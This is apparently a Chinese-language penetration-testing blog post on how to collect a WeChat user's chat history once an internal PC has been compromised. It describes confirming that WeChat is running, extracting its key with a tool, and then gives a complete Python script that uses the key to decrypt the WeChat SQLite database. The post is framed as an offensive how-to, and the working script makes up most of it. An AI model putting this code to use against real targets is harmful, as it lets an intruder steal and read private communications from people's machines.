信息收集之获取wx聊天记录 |

在内网渗透中一般我的习惯是先打一台PC机，当通过某种手段拿下PC机后进行信息收集大概是可以用到，另一种是获取了登录账号密码，没有远程也可以通过smb将文件传回本地进行信息收集,场景很多，根据具体情况而定。文章不知道会不会和谐，且看且珍惜。

下面就手把手教大伙如何获取目标的聊天记录~~

目标上线后可以通过VNC、截图、tasklist等多种手段来确认微信是否开启

使用工具获取微信key

获取key后通过脚本进行解密

Python3

from Crypto.Cipher import AES
import hashlib, hmac, ctypes, sys, getopt
SQLITE_FILE_HEADER = bytes('SQLite format 3', encoding='ASCII') + bytes(1)
IV_SIZE = 16
HMAC_SHA1_SIZE = 20
KEY_SIZE = 32
DEFAULT_PAGESIZE = 4096
DEFAULT_ITER = 64000
opts, args = getopt.getopt(sys.argv[1:], 'hk:d:')
input_pass = ''
input_dir = ''
for op, value in opts:
if op == '-k':
input_pass = value
else:
if op == '-d':
input_dir = value
password = bytes.fromhex(input_pass.replace(' ', ''))
with open(input_dir, 'rb') as (f):
blist = f.read()
print(len(blist))
salt = blist[:16]
key = hashlib.pbkdf2_hmac('sha1', password, salt, DEFAULT_ITER, KEY_SIZE)
first = blist[16:DEFAULT_PAGESIZE]
mac_salt = bytes([x ^ 58 for x in salt])
mac_key = hashlib.pbkdf2_hmac('sha1', key, mac_salt, 2, KEY_SIZE)
hash_mac = hmac.new(mac_key, digestmod='sha1')
hash_mac.update(first[:-32])
hash_mac.update(bytes(ctypes.c_int(1)))
if hash_mac.digest() == first[-32:-12]:
print('Decryption Success')
else:
print('Password Error')
blist = [blist[i:i + DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)]
with open(input_dir, 'wb') as (f):
f.write(SQLITE_FILE_HEADER)
t = AES.new(key, AES.MODE_CBC, first[-48:-32])
f.write(t.decrypt(first[:-48]))
f.write(first[-48:])
for i in blist:
t = AES.new(key, AES.MODE_CBC, i[-48:-32])
f.write(t.decrypt(i[:-48]))
f.write(i[-48:])